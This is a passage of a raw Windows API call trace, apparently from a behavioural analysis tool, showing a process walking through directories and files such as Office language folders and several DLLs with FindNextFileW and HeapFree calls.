ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1055", cAlternateFileName="")) returned 1 [0250.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.448] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1057", cAlternateFileName="")) returned 1 [0250.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.449] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1058", cAlternateFileName="")) returned 1 [0250.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.449] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1060", cAlternateFileName="")) returned 1 [0250.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.449] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1061", cAlternateFileName="")) returned 1 [0250.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.449] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1062", cAlternateFileName="")) returned 1 [0250.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.449] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1063", cAlternateFileName="")) returned 1 [0250.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.450] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1066", cAlternateFileName="")) returned 1 [0250.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.450] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1069", cAlternateFileName="")) returned 1 [0250.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.450] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1081", cAlternateFileName="")) returned 1 [0250.495] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.495] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1086", cAlternateFileName="")) returned 1 [0250.945] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.945] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1087", cAlternateFileName="")) returned 1 [0250.946] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.946] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1110", cAlternateFileName="")) returned 1 [0250.946] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.946] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1 [0250.946] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.946] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2070", cAlternateFileName="")) returned 1 [0250.946] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.946] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2074", cAlternateFileName="")) returned 1 [0250.946] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.946] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0250.947] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.947] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 1 [0250.947] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0250.947] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 0 [0250.947] FindClose (in: hFindFile=0x6eb670 | out: hFindFile=0x6eb670) returned 1 [0250.947] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.947] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0250.949] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.949] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0250.951] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.951] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0251.043] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0251.043] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0251.046] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.046] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5612cee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5612cee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0251.047] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.047] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0251.050] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.050] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0251.051] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.051] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0251.053] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.053] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0251.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.056] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0251.058] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.058] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f913, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracedefinition110.xml", cAlternateFileName="TRACED~1.XML")) returned 1 [0251.061] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.061] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0251.064] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.064] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0251.066] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.066] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0251.068] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0251.068] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0251.068] FindClose (in: hFindFile=0x6eb770 | out: hFindFile=0x6eb770) returned 1 [0251.068] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0251.069] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x163c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1 [0251.070] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0251.070] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b680, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AdeModule.dll", cAlternateFileName="ADEMOD~1.DLL")) returned 1 [0251.072] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0251.072] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 1 [0251.074] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0251.074] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 0 [0251.074] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0251.074] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0251.074] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0251.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0251.076] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: 